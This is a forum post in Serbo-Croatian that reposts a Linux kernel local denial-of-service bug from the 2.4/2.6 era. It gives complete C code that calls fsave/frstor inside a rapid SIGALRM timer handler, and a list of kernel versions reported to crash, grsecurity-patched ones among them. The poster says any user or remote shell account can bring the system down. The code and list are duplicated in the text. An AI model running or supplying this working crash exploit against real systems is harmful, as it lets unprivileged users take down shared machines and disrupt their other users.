Da odvojimo ovo od Win majstora teme koja je postala megaflame...
http://reviewed.homelinux.org/...-11_kernel_crash/index.html.en
Dakle - ovo radi i u user i root modu, dakle i remote shell acc je dovoljan da skrka pingvina:
Impresivno :)
* Linux 2.6.x
o 2.6.7-rc2
o 2.6.6 (vanilla)
o 2.6.6-rc1 SMP (varified by blaise)
o 2.6.6 SMP (verified by riven)
o 2.6.5-gentoo (verified by RatiX)
o 2.6.5-mm6 - (verified by Mariux)
o 2.6.5 (fedora core 2 vanilla)
o 2.6.3-13mdk (Mandrake)
* Linux 2.4.2x
o 2.4.26 vanilla
o 2.4.26, grsecurity 2.0 config
o 2.4.26-rc1 vanilla
o 2.4.26-gentoo-r1
o 2.4.22
o 2.4.22-1.2188 Fedora FC1 Kernel
o 2.4.20 RH7.3 (gcc 2.96)
o 2.4.18-bf2.4 (debian woody vanilla)
Even grsecurity-patched kernels crash. "I would have hoped that grsec would have blocked or logged something, but nothing appeared in the logs." Vincent
http://reviewed.homelinux.org/...-11_kernel_crash/index.html.en
Dakle - ovo radi i u user i root modu, dakle i remote shell acc je dovoljan da skrka pingvina:
Code:
#include <sys/time.h>
#include <signal.h>
#include <unistd.h>
static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}
int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);
return 0;
}
#include <sys/time.h>
#include <signal.h>
#include <unistd.h>
static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}
int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);
return 0;
}
Impresivno :)
Citat:
* Linux 2.6.x
o 2.6.7-rc2
o 2.6.6 (vanilla)
o 2.6.6-rc1 SMP (varified by blaise)
o 2.6.6 SMP (verified by riven)
o 2.6.5-gentoo (verified by RatiX)
o 2.6.5-mm6 - (verified by Mariux)
o 2.6.5 (fedora core 2 vanilla)
o 2.6.3-13mdk (Mandrake)
* Linux 2.4.2x
o 2.4.26 vanilla
o 2.4.26, grsecurity 2.0 config
o 2.4.26-rc1 vanilla
o 2.4.26-gentoo-r1
o 2.4.22
o 2.4.22-1.2188 Fedora FC1 Kernel
o 2.4.20 RH7.3 (gcc 2.96)
o 2.4.18-bf2.4 (debian woody vanilla)
Even grsecurity-patched kernels crash. "I would have hoped that grsec would have blocked or logged something, but nothing appeared in the logs." Vincent
Potpis
DigiCortex (ex. SpikeFun) - Cortical Neural Network Simulator:
http://www.digicortex.net/node/1 Videos: http://www.digicortex.net/node/17 Gallery: http://www.digicortex.net/node/25
PowerMonkey - Redyce CPU Power Waste and gain performance! - https://github.com/psyq321/PowerMonkey
http://www.digicortex.net/node/1 Videos: http://www.digicortex.net/node/17 Gallery: http://www.digicortex.net/node/25
PowerMonkey - Redyce CPU Power Waste and gain performance! - https://github.com/psyq321/PowerMonkey
